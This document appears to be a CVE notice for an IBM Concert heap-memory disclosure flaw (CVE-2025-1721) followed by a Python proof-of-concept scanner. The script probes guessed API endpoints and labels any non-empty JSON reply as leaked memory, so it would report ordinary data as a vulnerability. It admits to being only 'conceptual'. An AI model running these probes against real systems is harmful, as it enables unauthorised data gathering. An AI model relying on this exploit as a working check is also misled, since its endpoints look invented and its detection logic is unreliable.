IBM Concert 1.0.0 through 2.1.0 could allow a remote attacker to obtain sensitive information from allocated memory due to improper clearing of heap memory.
The following code is for security research and authorized testing only.
python
# CVE-2025-1721 PoC - IBM Concert Memory Information Disclosure
# This PoC demonstrates the memory disclosure vulnerability in IBM Concert
# Note: This is a conceptual PoC for educational purposes only
import requests
import json
TARGET_URL = "https://target.ibm.com/concert/api"
CVE_ID = "CVE-2025-1721"
def check_vulnerability():
"""
Check if target is vulnerable to CVE-2025-1721
"""
headers = {
'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-1721-Scanner)',
'Content-Type': 'application/json'
}
# Step 1: Trigger memory allocation through normal API operations
session = requests.Session()
# Step 2: Make multiple requests to allocate heap memory
for i in range(10):
response = session.get(f"{TARGET_URL}/v1/data", headers=headers)
if response.status_code == 200:
print(f"Request {i+1}: Memory allocation triggered")
# Step 3: Attempt to access potentially leaked memory via specific endpoints
leak_endpoints = [
f"{TARGET_URL}/v1/cache",
f"{TARGET_URL}/v1/session/data",
f"{TARGET_URL}/v1/internal/memory"
]
leaked_data = []
for endpoint in leak_endpoints:
try:
resp = session.get(endpoint, headers=headers, timeout=10)
if resp.status_code == 200:
data = resp.json()
if data and len(str(data)) > 0:
leaked_data.append({
'endpoint': endpoint,
'data': data
})
except Exception as e:
print(f"Error accessing {endpoint}: {e}")
if leaked_data:
print(f"[+] Potential memory leak detected!")
print(f"[+] Leaked data samples: {len(leaked_data)}")
return True, leaked_data
else:
print(f"[-] No obvious memory leak detected")
return False, None
def main():
print(f"[*] Scanning for {CVE_ID}")
print(f"[*] Target: {TARGET_URL}")
vulnerable, data = check_vulnerability()
if vulnerable:
print(f"[+] Target is VULNERABLE to {CVE_ID}")
print(f"[+] Leaked information found")
else:
print(f"[-] Target appears NOT vulnerable")
if __name__ == "__main__":
main()